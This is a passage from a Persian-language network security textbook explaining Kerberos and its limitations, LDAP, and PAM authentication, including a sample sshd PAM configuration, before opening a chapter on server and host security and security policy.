دسترسی است. در این آدرسها می‌توانید ارتقاهای رسمی، اصلاحها، و اطلاعیه‌های اعلام نقایص را نیز بیابید. در Kerberos چندین اشکال شناخته‌شده وجود داشت؛ لذا بسیار حائز اهمیت است که از آخرین نسخهٔ آن استفاده کنید. همچنین یک پیاده‌سازی رایگان نرم‌افزار Kerberos به نام "Heimdal" وجود دارد که بصورت پویا توسعه پیدا می‌کند و با Kerberos مربوط به MIT نیز بسیار سازگار است. می‌توانید Heimdal را از آدرس *http://www.pdc.kth.se/heimdal/* تهیه کنید. تغییرات لازم در پیکربندی برای سازگاری Kerberos با سیستم شما بسیار حیاتی هستند؛ اگر خودتان باید آنها را اعمال کنید می‌توانید برای اطلاعات بیشتر به اسناد ارائه شده در خود Kerberos رجوع نمایید.

Kerberos و LDAP

Kerberos با LDAP (که در قسمت بعدی توضیح داده می‌شود) بخوبی با یکدیگر ترکیب می‌شوند. Kerberos می‌تواند برای تصدیق هویت و ایمن کردن queryها و ارتقاهای LDAP بکار رود. در مقابل پایگاه دادهٔ LDAP هم می‌تواند اطلاعات کاربران که چگالتر از دادهٔ حفاظت‌شده بوسیلهٔ تنها Kerberos است – مثل دایرکتوری خانه کاربر، پوسته، شماره تلفن، یا دیگر اطلاعات سازمانی – را ذخیره کند. در مجموع، این دو سرویس می‌توانند همهٔ قابلیتهای NIS و +NIS را ارائه کنند و به همین دلیل هم بسیار زیاد بکار می‌روند.[۱۷۹]

گاهی اوقات LDAP برای ذخیره کردن کلیدهای Kerberos بکار می‌رود. پیاده‌سازی Windows از Kerberos از خدمات Microsoft Active Directory (یک پیاده‌سازی از LDAP) برای ذخیرهٔ کلیدهای Kerberos استفاده می‌کند. Heimdal Kerberos این قابلیت را پشتیبانی می‌کند، اما MIT Kerberos نه؛ و البته جای نگرانی نیست، چراکه در MIT Kerberos این کلیدها در خود سرویس‌دهنده‌های Kerberos ذخیره می‌شوند.

محدودیتهای Kerberos

اگرچه Kerberos یک راه حل عالی برای یک مشکل اساسی است اما هنوز هم نقایص زیادی دارد که در ذیلا به آنها اشاره می‌شود:

هر سرویس شبکه باید بصورت اختصاصی برای کار با Kerberos تغییر داده شود

بعلت طراحی Kerberos، هر برنامه‌ای که بخواهد از Kerberos استفاده کند باید تغییر داده شود. روند اعمال این تغییرات روی برنامهٔ کاربردی معمولاً "Kerberizing" نامیده می‌شود. معمولاً برای اینکار باید متن برنامهٔ کاربردی در دسترس باشد، و یا برنامه از یک چارچوب امنیتی استفاده کند که از قبل با Kerberos ادغام شده (مثل PAM که در انتهای این فصل در مورد آن بحث خواهد شد).

Kerberos در محیط اشتراک زمانی خوب کار نمی‌کند

Kerberos برای محیطی طراحی شده که در هر ایستگاه کاری آن یک کاربرد وجود دارد. اگر یک کاربر رایانهٔ خود را با چند نفر دیگر به اشتراک گذاشته باشد، این امکان وجود دارد که بلیط کاربر توسط یک مهاجم به سرقت برود. در آنصورت بلیطهای دزدیده‌شده می‌توانند برای راه‌اندازی فریبنده مورد استفاده قرار بگیرند.

Kerberos به یک سرویس‌دهندهٔ ایمن و در دسترس Kerberos نیاز دارد

بدلیل نوع طراحی، Kerberos به یک سرویس‌دهندهٔ ایمن مرکزی نیاز دارد که حاوی پایگاه دادهٔ اصلی رمزهای عبور و بطور مداوم در دسترس قرار داشته باشد. برای تضمین امنیت، سازمانها دقیقاً باید از هیچ چیزی غیر از سرویس‌دهندهٔ Kerberos

---

۱۷۹ جیسن هیس (Jason Heiss) راهنمای خوبی برای این برنامه‌ها در صفحه‌ای در پایگاه وب خود بنام "جایگزینی NIS با Kerberos و LADP در آدرس http://www.ofb.net/~jheiss/krbldap ارائه کرده است.

استفاده نکنند. سرویس‌دهندهٔ Kerberos باید همیشه تحت قفل و کلید و در یک محیط که بصورت فیزیکی امن است نگهداری شود. اگر سرویس‌دهندهٔ Kerberos خراب شود، تمام شبکهٔ Kerberos غیرقابل استفاده می‌گردد.

سرویس‌دهندهٔ Kerberos همهٔ رمزهای عبور رمزگذاری‌شده را با کلید خصوصی اصلی سرویس‌دهنده – که روی همان دیسک سختی واقع شده که رمزهای عبور رمزشده در آن هستند – رمزگذاری می‌کند. این مسئله به این معنا است که اگر سرویس‌دهندهٔ Kerberos مورد سوء استفاده قرار بگیرد، همه رمزهای عبور کاربران باید تغییر یابند.

Kerberos تغییرات نرم‌افزارهای سیستمی (اسبهای تروا) را نادیده می‌گیرد

Kerberos باعث نمی‌شود ایستگاه کاری محلی، خود را برای کاربر تصدیق هویت کند – یعنی برای کاربری که پشت رایانه نشسته هیچ راهی وجود ندارد که بفهمد رایانه مورد سوء استفاده قرار گرفته است یا نه. این کمبود براحتی توسط مهاجم آگاه به این مسئله مورد بهره‌برداری قرار می‌گیرد. این مشکلات پیامدهای این حقیقت هستند که حتی در یک شبکه، بسیاری از ایستگاههای کاری دارای نسخه‌های محلی از برنامه‌هایی که اجرا می‌کنند هستند.

Kerberos ممکن است عدم اعتماد گسترش‌یابنده بوجود آورد

اگر رمز عبور یک سرویس‌دهنده یا یک کاربر افشا شود، برای یک استراق سمع کننده این امکان وجود دارد که از آن رمز عبور برای رمزگشایی بلیطهای دیگر استفاده کند و این اطلاعات را برای گمراه‌سازی سرویس‌دهنده‌ها و کاربران بکار بندد.

Kerberos یک سیستم کاری برای امنیت شبکه است و از آن به وفور استفاده می‌شود، و از آن مهمتر اینکه مبانی پایهٔ آن بصورت فزاینده‌ای در سیستمهای امنیت شبکه که از طریق فروشندگان در دسترس مستقیم قرار دارد نیز موجود می‌باشند.

LDAP

پروتکل سبک‌وزن دسترسی به دایرکتوری" (LDAP)، یک نسخهٔ کم دردسر از سرویس دسترسی به دایرکتوری X.500 است که برای ذخیرهٔ اطلاعات دایرکتوری (مثل سیستمهای تصدیق هویت، شناسه‌های کاربری، و رمزهای عبور) با دسترسی از طریق یک کانال امن شبکه بکار می‌رود. دو نسخهٔ اصلی از LDAP وجود دارد. LDAPv2 که سال ۱۹۹۵ در RFC شمارهٔ ۱۷۷۷ توصیف شده، مکانیزم امنیتی خاصی برای رمزهای عبور بوجود نمی‌آورد مگر اینکه پیاده‌سازی آن در تعامل با Kerberos باشد. LDAPv3 که در RFC شمارهٔ ۲۲۵۱ توصیف شده از *SASL*[۱۸۰] هم پشتیبانی می‌کند. SASL چند روش دیگر برای ایمن کردن تصدیق هویت رمز عبور (از جمله Kerberos!) ارائه می‌نماید. علاوه بر این، هم پیاده‌سازی متن‌باز و پر استفادهٔ LDAPv3 (OpenLDAP 2.x) و هم پراستفاده‌ترین پیاده‌سازی تجاری (Active Directory مایکروسافت، در نسخه‌هایی که با Windows 2000 آغاز شد)، استفاده از SSL/TLS برای ایمن کردن کل خط ارتباطی میان سرویس‌گیرنده و سرویس‌دهنده – از جمله روالهای تصدیق هویت – را پشتیبانی می‌کنند.

LDAP به خودی خود بسیاری از سرویسهای عمومی دایرکتوری را ارائه می‌کند. بعنوان مثال بسیاری از سازمانها از LDAP برای سازماندهی شمارهٔ تلفن، آدرس پست الکترونیک، و فهرست آدرس کارمندان استفاده می‌کنند. به این دلیل در این فصل در مورد LADP سخن می‌گوییم که می‌تواند پایهٔ سیستم اطلاعات شبکه و تصدیق هویت را شکل دهد، و نیز به این دلیل که بطور فزاینده‌ای – بخصوص در سیستمهای Windwos و Linux – برای برآورده کردن این اهداف بکار می‌رود.

پروتکل LDAP

اطلاعات سرویس‌دهندهٔ LDAP به شکل یک درخت از اقلام داده – که هریک متعلق به یک یا چند طبقهٔ اشیا و شامل صفاتی برای مقادیر خود هستند – سازماندهی شده است. هر قلم داده شامل یک صفت به نام "cn" (نام مشترک)[۱۸۱] است که آنرا از سایر اقلام با پدر مشابه در همان درخت متمایز می‌سازد.

---

180 Simple Authentication and Security Layer, RFC 2222
181 Common Name

بعنوان مثال، یک قلم داده متعلق به طبقه شیء "posixAccount" شامل صفاتی است که نام کامل کاربر (cn)، نام کاربر برای ورود به سیستم (uid)، شمارهٔ شناسهٔ کاربر و شمارهٔ شناسهٔ گروه (uidNumber و gidNumber)، دایرکتوری خانه (homeDirectory)، پوستهٔ ورود به سیستم (loginShell) و سایر اطلاعات کاربر را مشخص می‌کند.

در اصطلاحات LDAP، یک *شما*[۱۸۲] به معنای مجموعه‌ای از *گونه‌های اشیا*[۱۸۳] است که از نظر منطقی و تعاریف صفات به هم مربوط هستند. گونهٔ شیء posixAccount در شمای سرویس اطلاعات شبکه (nis.schema) تعریف می‌شود.

LDAP یک پروتکل سرویس‌دهنده – سرویس‌گیرنده است. سرویس‌گیرندهٔ LDAP تقاضاهایی برای سرویس‌دهندهٔ LDAP می‌فرستد و پاسخهای آنرا دریافت می‌کند. سرویس‌گیرنده‌ها می‌توانند تقاضاهایی برای ایجاد تغییر، انجام جستجو، بازگرداندن یک یا بیشتر صفات یک قلم دادهٔ خاص، و یا بازگرداندن یک زیر درخت کامل از اقلام دادهٔ موجود در حافظهٔ سرویس‌دهنده بفرستند.

جامعیت و قابلیت اعتماد

سرویس‌دهنده‌های مدرن LDAP (مثل Active Directory یا OpenLDAP 2.x) چند قابلیت مهم ارائه می‌کنند تا جامعیت داده و قابلیت اعتماد به سیستم را تضمین کنند:

جامعیت و محرمانگی داده

سرویس‌دهندهٔ LDAP می‌تواند اتصالات ایمن‌شده بوسیلهٔ TLS را بپذیرد، و می‌تواند *رمزگذاری انتها به انتها*[۱۸۴] را در تعاملات سرویس‌گیرنده – سرویس‌دهنده ارائه کند. علاوه بر این، TLS انجام تغییرات غیرمجاز در اطلاعات را غیرممکن می‌سازد.

تصدیق هویت سرویس‌دهنده

برای پشتیبانی از TLS، به سرویس‌دهندهٔ LDAP یک کلید عمومی رمزنگاری نسبت داده شده که بوسیلهٔ یک مرکز صدور گواهی امضا شده است. سرویس‌گیرنده‌های LDAP با آن گواهی می‌توانند مطمئن باشند که با همان سرویس‌دهنده‌ای که می‌خواستند ارتباط داشته باشند ارتباط برقرار کرده‌اند.

تصدیق هویت سرویس‌گیرنده

سرویس‌دهنده‌های LDAP همچنین می‌توانند از سرویس‌گیرنده‌ها گواهی‌های TLS بخواهند، تا تضمین کنند که تنها سرویس‌گیرندگان مجاز می‌توانند به سرویس‌دهنده query بفرستند یا آنرا به روز کنند.

تکثیر

سرویس‌دهندهٔ LDAP می‌تواند تمام مخازن دادهٔ LDAP را روی سرویس‌دهنده‌های ثانویه تکثیر کند تا درصورت خراب شدن سرویس‌دهندهٔ اصلی، اطلاعات حیاتی LDAP از دست نرود.

LDAP یک جایگزین قدرتمند و انعطاف‌پذیر برای NIS و NIS+ است. در کنار اطلاعات داده‌های تصدیق هویت، از مزایای اصلی LDAP توانایی ذخیره کردن و ارائه سرویس به داده‌هایی غیر از داده‌های مرتبط با تصدیق هویت و وجود ارتباط ایمن‌شده بوسیلهٔ TLS است. اشکال اصلی LDAP این است که به‌روزرسانی پایگاه دادهٔ آن بسیار پیچیده‌تر از به‌روزرسانی یک سرویس‌دهندهٔ NIS است، اما ابزارهای مختلفی برای ساده‌سازی راهبری LDAP بوجود آمده است.

182 Schema
183 Object Classes
184 End-to-End Encryption

تصدیق هویت با LDAP

RFC شمارهٔ ۲۳۰۷ شیوه‌ای برای استفاده از LDAP بعنوان یک سیستم اطلاعات شبکه توصیف می‌کند. اگرچه این RFC یک استاندارد اینترنتی را مشخص نمی‌کند، اما مکانیزمهای آن بطور گسترده‌ای مورد استفاده قرار دارند، و یک طرح برای پیاده‌سازی آن (nis.schema) در OpenDAP 2.x قرار داده شده است. طرح یاد شده "گونه‌های اشیا" را تعریف می‌کند که کاربران (posixAccount و shadowAccount)، گروهها (posixGroup)، خدمات (ipService)، پروتکلها (ipProtocol)، فراخوانیهای توابع از راه دور (oncRPS)، میزبانها (ipHost)، شبکه‌ها (ipNetworks)، گروه‌های شبکه‌ای NIS (nisNetgroup، nisMap، nisObject) و سایر موارد را نمایندگی می‌کند.

هر سرویسی که کاربران را تصدیق هویت می‌کند باید برای تعامل با LDAP مجدداً نوشته شود؛ این مسئله مشابه روند "kerberizing" است که برای کار با Kerberos لازم بود. این روش برای سیستم‌عاملهایی نظیر Microsoft Windows که همه تصدیق هویتها را ملزم به استفاده از یک *واسط برنامه‌ای*[۱۸۵] منتشرشده بوسیلهٔ فروشنده می‌کند ساده است – اما هنوز هم بازنویسی قسمت بسیار کوچکی از نرم‌افزار سرویس‌گیرنده لازم است.

این روش برای سیستم‌عاملهای مبتنی بر Unix چندان کارآ نیست. درعوض دو روش جایگزین بوجود آمده که بعنوان نرم‌افزار متن‌باز بوسیلهٔ شرکت PADL Software منتشر شده و در بیشتر توزیعهای Linux قرار داده شده است. روش اول nss_ldap است که توابع کتابخانه‌ای C (مثل getpwentc()) را برای بدست آوردن اطلاعات کاربر تغییر می‌دهد تا بصورت نامرئی از یک پایگاه داده LDAP بجای فایلهای محلی، NIS، و سایر موارد استفاده کند. بسیاری از سیستمها از قبل هم استفاده از این توابع را برای استفاده از منابع مختلف اطلاعات بوسیلهٔ یک فایل *تعویض نام سرویس*[۱۸۶] (معمولاً /etc/nsswitch.conf) مجاز می‌دانستند.[۱۸۷]

روش دوم استفاده از چارچوب PAM در بخش بعدی بحث می‌شود. تصدیق هویت LDAP بعنوان یک ماجول PAM، pam_ldap، پیاده‌سازی شده است. برخلاف libnss_ldap، pam_ldap با استفاده از پایگاه دادهٔ LDAP تنها تصدیق هویت کاربر را فراهم می‌کند و اطلاعات دیگری از پایگاه داده را منتشر نمی‌نماید. اگر سرویس‌دهندهٔ LDAP شما از استاندارد nis.schema استفاده کند، اضافه کردن تصدیق هویت LDAP به یک سرویس کنترل‌شده بوسیلهٔ PAM، به سادگیِ اضافه کردن یک خط به فایل پیکربندی PAM آن است، که pam_ldap.so را برای تصدیق هویت، ارزیابی اعتبار حساب کاربری، و تغییر رمز عبور، بعنوان "کافی" مشخص کند.

ماجول‌های قابل اتصال تصدیق هویت

به این علت که روشهای بسیار زیادی برای تصدیق هویت کاربران وجود دارد، بهتر است برای تصدیق هویت یک شیوهٔ یکتا داشته باشیم که بتواند چند سیستم تصدیق هویت را برای نیازهای متفاوت در بر بگیرد. سیستم *ماجولهای قابل اتصال تصدیق هویت*[۱۸۸] (PAMs) یک روش اینچنینی است. PAM در ابتدا بوسیلهٔ SUN توسعه یافت و پیاده‌سازیهای آن برای Solaris، Free BSD، و بخصوص Linux بیشترین PAMهای مورد استفاده هستند. PAM یک کتابخانه و یک واسط برنامه‌ای ارائه می‌کند که هر برنامهٔ کاربردی بجای سیستم تصدیق هویت مخصوص به خود می‌تواند از آن استفاده کند. هر سیستم تصدیق هویت که PAM آنرا می‌شناسد بعنوان یک ماجول PAM و در عمل بصورت یک کتابخانهٔ مشترک – که بصورت دینامیکی بارگذاری‌شده – پیاده‌سازی شده است. ماجولهای PAM از طرق زیر برای تصدیق هویت کاربران در دسترس قرار دارند:

- فایلهای etc/passwd یا etc/shadow؛
- NIS یا +NIS؛

185 *Application Programming Interface (API)*
186 *Name Service Switch*
۱۸۷ *برای جزئیات بیشتر در مورد پیکربندی تصدیق هویت با استفاده از libnss-ldap به صفحات ۴۵۰ تا ۴۵۳ کتاب PUIS مراجعه کنید.*
188 *Pluggable Authentication Modules*

- LDAP؛
- Kerberos 4 یا Kerberos 5؛ و
- یک فایل دلخواه پایگاه داده Berkeley.[۱۸۹]

هر سرویس آشنا با PAM یا در فایل /etc/pam.conf و یا بصورت معمول‌تر در فایل خودش در مسیر /etc/pam.d پیکربندی می‌شود. بعنوان مثال، فایل پیکربندی PAM برای سرویس‌دهندهٔ ssh در نسخه‌های Linux، فایل /etc/pam.d/sshd است. یک سرویس بنام "other" برای ارائه پیش‌فرضها به خدمات آشنا با PAM که صراحتاً پیکربندی نشده‌اند بکار می‌رود. ذیلاً مثالی از یک فایل پیکربندی PAM برای sshd روی یک سرویس‌دهندهٔ Linux آمده است:

```
auth required /lib/security/pam_env.so
auth sufficient /lib/security/pam_unix.so
auth required /lib/security/pam_deny.so

account required /lib/security/pam_unix.so
password required /lib/security/pam_cracklib.so retry=3
password sufficient /lib/security/pam_unix.so nullok use_authtok md5 shadow
password required /lib/security/pam_deny.so

session required /lib/security/pam_limits.so
session required /lib/security/pam_unix.so
```

خطوط "auth" روال تصدیق هویت را برای این سرویس تعریف می‌کند، که به ترتیبِ داده‌شده دنبال می‌شود. ماجولهایی که با "required" (لازم) مشخص شده‌اند باید بصورت موفقیت‌آمیز اجرا شوند – و اگر در اجرا دچار مشکل شوند، کاربر بصورت تصدیق هویت نشده درنظر گرفته می‌شود و از دسترسی او جلوگیری می‌گردد. می‌توان ماجولهای "required" را بصورت چندگانه تعریف کرد که در آنصورت کلیهٔ ماجولها باید بصورت موفقیت‌آمیز اجرا شوند. ماجولهایی که با "sufficient" (کافی) مشخص شده‌اند، درصورتیکه اجرایشان موفقیت‌آمیز باشد برای تصدیق هویت کاربر کافی هستند و روال تصدیق هویت را خاتمه می‌دهند.

در این مثال اولین ماجولی که اجرا می‌شود pam_env است که بصورت اختیاری متغیرهای محیطی را در /etc/security/pam_env.conf تعیینِ مقدار یا پاک می‌کند. این ماجول "لازم" است – باید بصورت موفقیت‌آمیز اجرا شود تا تصدیق هویت به انجام برسد. ماجول اجرا شوندهٔ بعدی pam_unix است که با فایلهای رمز عبور Unix – /etc/passwd و etc/shadow – عملیات تصدیق هویت را انجام می‌دهد. اگر این عملیات با موفقیت انجام شود برای تصدیق هویت کاربر کافی است و روال کامل شده است. آخرین ماجول تصدیق هویت pam_deny است که فقط به شکست می‌انجامد تا به روال تصدیق هویت ناموفق پایان دهد.

این فایل خاص پیکربندی همچنین همهٔ قوانین سیستم مبنی بر مسن یا منقضی شدن حسابهای کاربری را اعمال می‌کند، و برای منابع در نشست sshd کاربر محدودیتهایی قرار می‌دهد. اگر sshd قابلیت تغییر رمز عبور نیز داشته باشد، این فایل پیکربندی از تغییر رمز عبور توسط کاربر به یک رمز عبور که به آسانی قابل حدس زدن باشد نیز جلوگیری می‌کند، و رمزهای عبور را در /etc/shadow بصورت رمزگذاری‌شده بوسیلهٔ تابع رمزنگاری MD5 ذخیره می‌نماید.

زیرسیستم PAM می‌تواند به چند صورت مختلف پیکربندی شود. بعنوان مثال این امکان وجود دارد که بعضی از حسابهای کاربری را ملزم به دو یا سه رمز عبور جداگانه کرد،[۱۹۰] یک روش بیومتریک را با یک عبارت رمزی ترکیب نمود، و یا بر اساس زمان روز

---

۱۸۹ *اگر این لایه‌ها برای شما کافی نیستند، بعضی از برنامه‌های کاربردی مثل تصدیق هویت SMTP در Sendmail یا مدیریت دسترسی به صندوقهای پستی بوسیلهٔ سرویس‌دهندهٔ Cyrus imapd، از کتابخانهٔ تصدیق هویت Cyrus SASL (لایهٔ سادهٔ تصدیق هویت و امنیت، simple authentication and security layer) استفاده می‌کنند، که می‌تواند کاربران را با یک پایگاه دادهٔ مجزا و یا از طریق PAM تصدیق هویت کند! غیرقابل تصور نیست که شما برای تصدیق هویت اتصال imap یک کاربر بخواهید از SASL مبتنی بر PAM مبتنی بر LDAP استفاده کنید.*

مکانیزمهای متفاوتی را به اجرا درآورد. از طرف دیگر در موقعیتهای فیزیکی بسیار ایمن حتی می‌توان از رمز عبور نیز صرفنظر کرد. PAM به راهبر توانایی انتخاب سیاست دلخواه را می‌دهد تا بتواند به بهترین نحو، مخاطره و فناوری موجود را با یکدیگر تطبیق دهد.

PAM – همانطور که مثالهای بالا روشن کردند – می‌تواند کارهایی بسیار بیش از صرفاً تصدیق هویت انجام دهد. یکی از نقاط قوت آن این است که به روشنی چهار فاز و روال دسترسی را از یکدیگر جدا می‌کند: ارزیابی اینکه حساب کاربری اجازهٔ استفاده از سرویس مورد نظر، در زمان مورد نظر، و از موقعیت مورد نظر را دارد (فاز حساب کاربری)، تصدیق هویت کاربر (فاز تصدیق)، به‌روزرسانی رمزهای عبور و سایر نشانهای تصدیق هویت در زمانیکه اینکار لازم باشد (فاز رمز عبور)، و راه‌اندازی و از کار انداختن نشست کاربر (فاز نشست) که می‌تواند شامل محدود کردن دسترسی به منابع و ایجاد دنباله‌های ممیزی هم باشد.

---

۱۹۰ *زمانیکه کاربر همهٔ رمزهای عبور را در اختیار دارد این یک مسئله قابل بحث است. این روش زمانیکه رمزهای عبور به کاربران متفاوت تخصیص یافته‌اند می‌تواند مفید باشد، بگونه‌ای که هر ورود به سیستم به دو نفر یا بیشتر نیاز داشته باشد و یک دنباله "شاهد بودن" را ایجاد کند.*

فصل ششم
امنیت سرویس‌دهنده

کلیات

یک سرویس‌دهنده بصورت عام، رایانه‌ای است که میزبانی برنامه‌های مختلف سرویس‌دهنده را بر عهده دارد و این سرویس‌دهنده‌ها روی آن اجرا می‌شوند. در این فصل برخی از مشکلات امنیتی بسیار رایج در کاربرد رایانه‌ها بعنوان سرویس‌دهندهٔ خدمات اطلاعاتی را مورد بحث قرار می‌دهیم و نحوهٔ استقرار و پیکربندی سرویس‌دهنده‌ها برای به حداقل رساندن این مشکلات را تشریح می‌کنیم. این فصل ابتدا *امنیت میزبان*[۱۹۱] و سپس نکات امنیتیِ برنامه‌های کاربردی مورد استفاده بعنوان سرویس‌دهنده‌های پستی، سرویس‌دهنده‌های فایل، سرویس‌دهنده‌های وب، سرویس‌دهنده‌های پایگاه داده، و سرویس‌دهنده‌های نام را بررسی می‌کند.

امنیت میزبان

بسیاری از سازمانهایی که در اینترنت سرویس‌دهندهٔ اختصاصی دارند، سرویس‌دهنده‌های خود را در مقابل حملات بیرونی ایمن نمی‌کنند. کاربران هنوز رمزهای عبوری بکار می‌برند که بسادگی قابل حدس‌زدن هستند، و بسیاری از رمزهای عبور نیز براحتی بوسیلهٔ *نرم‌افزارهای دیدبان بسته‌های اینترنتی*[۱۹۲] شناسایی و دزدیده می‌شوند.

امروزه هزاران گروه سازمانیافته و نیمه‌سازمانیافته از مهاجمان وجود دارند که اطلاعات مربوط به آسیب‌پذیریهای رایانه‌ای و روشهای بهره‌برداری از آنها را مبادله می‌کنند؛ فنون و در بسیاری از موارد برنامه‌های کامل نفوذ به لایه‌های امنیتی سیستمها با استفاده از پست الکترونیکی، گروههای خبری، صفحات وب، و *گفتگوی عمومی اینترنت* (IRC)[۱۹۳] در حد وسیعی منتشر می‌شوند، و ابزارهای ضد امنیتی (*دیدبانهای رمز عبور*[۱۹۴]، *فایلهای بهره‌برداری از تخریب سرویس*، و اسبهای تراوا) نیز در دسترس عموم قرار دارند.

درحال حاضر مهاجمان از ابزارهای خودکار برای جستجو بدنبال رایانه‌های آسیب‌پذیر استفاده و در برخی موارد بصورت خودکار به این رایانه‌ها نفوذ می‌کنند و در آن دربهای مخفی قرار می‌دهند، و آسیبِ وارده را نیز پنهان می‌نمایند. اتصالات پرسرعت اینترنتی این امکان را برای مهاجمان بوجود آورده که در عرض مدت‌زمان کوتاهی بتوانند میلیونها رایانه را بدنبال آسیب‌پذیریهای امنیتی پویش کنند.

پروژهٔ *کوزهٔ عسل*[۱۹۵] (http://project.honypot.org/) یک پروژهٔ تحقیقات آزاد اینترنتی است که می‌خواهد با قرار دادن رایانه‌های آسیب‌پذیر در اینترنت و بررسی سرعت انجام حمله به آنها، گستردگی جامعهٔ نفوذگران را اندازه‌گیری کند. نتایج این پروژه اصلاً امیدوارکننده نیست. بعنوان مثال در ژوئن سال ۲۰۰۱ اعلام شد که بر اساس یافته‌های این پروژه، یک سیستم Red Hat 6.2 از زمانیکه به اینترنت متصل شود، بطور متوسط پس از تنها ۷۲ ساعت توسط یک مهاجم و با یک نرم‌افزار نفوذ شناخته‌شده مورد سوء استفاده قرار خواهد گرفت. یک سیستم معمولی متصل به اینترنت در روز بارها توسط مهاجمان پویش می‌شود. رایانه‌هایی که از سیستم‌عامل Windows 98 استفاده می‌کنند و قابلیت اشتراک فایل (یکی از تنظیمات پیش‌فرض برای عمدهٔ کاربران خانگی) در آنها

191 *Host Security*
192 *Packet Sniffer Software*
193 *Internet Relay Chat*
194 *Password Sniffers*
195 *Honey Pot*

فعال است نیز در اینترنت بطور متوسط ساعتی یکبار پویش می‌شوند و معمولاً در همان روز اول مورد نفوذ قرار می‌گیرند. در یک مورد، یک سرویس‌دهنده بعد از تنها ۱۵ دقیقه اتصال به اینترنت مورد نفوذ قرار گرفت!

این خیالپردازی است که تصور شود با رعایت فهرستی از "بایدها" و "نبایدها" در شبکه‌ها و رایانه‌ها می‌توان امنیت میزبان را تأمین کرد. ممکن است گفته شود در هرصورت، مهاجم برای تخریب یک رایانه باید به آن دسترسی پیدا کند و بنابراین از لحاظ نظری، برای ایمن کردن یک سیستم تمام آنچه نیاز دارید این است که کلیهٔ راههای دسترسی مهاجم به سیستم را مسدود نمایید، و در اینصورت سیستم مورد نظر ایمن خواهد بود. اما در عمل و بر اساس تجربه ثابت شده که تقریباً غیرممکن است که بتوان رایانه‌ای داشت که در شبکه خدماتی ارائه کند و در عین حال کلیهٔ راههای دسترسی مهاجمان به آن مسدود باشد؛ چراکه دسترسیِ مهاجمان معمولاً از طریق منافذ نادانسته نظیر قطعه‌برنامه‌های کم‌دقت CGI یا حملات سرریزی buffer که برای مهاجمان شناخته‌شده و برای عمدهٔ کاربران رایانه ناشناخته هستند صورت می‌گیرد.

برای بیش از یک دهه، ۹ الگوی مورد اقبال عمومی در اینترنت وجود داشتند که امنیت میزبان را بسیار پیچیده‌تر می‌کردند. این الگوها عبارت بودند از:

- بی‌توجهی به امنیت بعنوان یک بعد زیربنایی طراحی و تنظیم سیستمها (و تدوین سیاستها)؛
- خریداری و پیکربندی سیستمهای رایانه‌ای بر اساس معیارهایی چون هزینه و تطبیق‌پذیری، و نه عملکرد مطلوب و الزامات و نیازهای امنیتی؛
- ناتوانی در تهیهٔ نرم‌افزاری که در آن منافذ امنیتی و اشکالات شناخته‌شده وجود نداشته باشد؛
- اجرای خدمات غیرضروری؛
- انتقال رمزهای عبور بصورت متن‌ساده و قابل استفادهٔ مجدد روی شبکه؛
- دنبال نکردن پیشرفتها و توسعه‌های امنیتی و ناتوانی در انجام اقدامات پیشگیرانه؛
- عدم استفادهٔ صحیح از ابزارهای امنیتی، البته اگر اصلاً استفاده می‌شدند؛
- نبود ممیزی و ثبت وقایع به اندازهٔ کافی؛ و
- فقدان روالهای صحیح تهیهٔ نسخهٔ پشتیبان.

تدوین سیاست

خطوط قرمز امنیتی در حقیقت با تدوین سیاست تعریف می‌شوند. در برخی سازمانها، هر یک از کاربران مجاز است که روی ماشینها نرم‌افزار جدید نصب کند و یا صفحات وب سازمان را تغییر دهد. در برخی دیگر، کاربران حتی برای رؤیت صفحات وب نیز به دسترسیها و مجوزهای خاص نیاز دارند. در بعضی سازمانها هر کاربر می‌تواند سیستم را راه‌اندازی مجدد یا خاموش کند؛ درحالیکه در برخی دیگر، کارهای بسیار کوچکتر مثل جایگزینی یک فایل هم به مجوز امضاشدهٔ مدیر ارشد اطلاعات نیاز دارد.

سیاست باعث می‌شود کاربران بدانند که انجام چه کاری مجاز و انجام چه کاری غیرمجاز است. سیاست، مدیران و راهبران را در تصمیمگیری در مورد سیستم و نحوهٔ استفاده از آن راهنمایی می‌کند. سیاست به طراحان کمک می‌کند سیستمهایی بسازند که با کمک آنها بتوان به اهداف سازمان دست یافت. اصلی‌ترین جزء سیاست امنیت، اعلام صریح عملکردهای مجاز و غیرمجاز برای افراد مختلف است. در سیاستها و خط‌مشی‌ها باید بتوان پاسخ سؤالات زیر را پیدا کرد:

- چه کسی مجاز به دسترسی است؟ ماهیت آن دسترسی چیست؟ و چه کسی مجوز این دسترسی را صادر کرده است؟
- چه کسی مسئولیت امنیت، ارتقاها، نسخه‌های پشتیبان، و پشتیبانی را بر عهده دارد؟
- چه نوع اطلاعاتی می‌تواند به عموم ارائه شود؟
- کدام ادارات و کاربران خارجی اجازهٔ دسترسی به اطلاعات ارائه‌شده را دارند؟
- پیش از نصب نرم‌افزارها و upload صفحات وب، چه چیزهایی باید مورد بررسی و ارزیابی قرار گیرند؟
- به شکایتها و درخواستها در مورد سرویس‌دهنده و محتواهای آن چگونه باید رسیدگی کرد؟

- سازمان چگونه باید به رخدادهای امنیتی واکنش نشان دهد؟
- هنگام وقوع یک رخداد، چه کسی مجاز است با نشریات، مجریان قانون، و یا سایر عوامل خارج از سازمان گفتگو کند؟
- خود سیاست باید در چه زمانی و طبق چه روالی مورد بازبینی قرار گیرد؟

اسناد سیاست امنیتی شما باید بصورت مکتوب و در دسترس تمام کسانی باشد که با سازمان شما در ارتباط هستند. توجه به تدوین سیاست می‌تواند از بوجود آمدن بسیاری از مشکلات جلوگیری کند.

یکی از بخشهای سیاست امنیتی که هر از چندگاه باید مورد بررسی قرار گیرد، روش مورد استفاده برای منهدم کردن رسانه‌های ذخیره‌سازی است. دیسکهای سخت سرویس‌دهنده‌ها، نوارهای قدیمی پشتیبان، و حتی ایستگاههای کاری ممکن است حاوی داده‌های محرمانه و ارزشمند باشند. این اقلام نه‌تنها هنگامیکه درحال فعالیت هستند باید از خدشه‌دار شدن حفاظت گردند، بلکه هنگامیکه از رده خارج می‌شوند نیز باید سیاستی مشخص و کارآ برای انهدام و غیرقابل بازیابی کردن اطلاعات موجود در آنها وجود داشته باشد. معمولاً منهدم کردن کامل دیسکهای سخت بسیار مشکل است.

انتخاب فروشنده

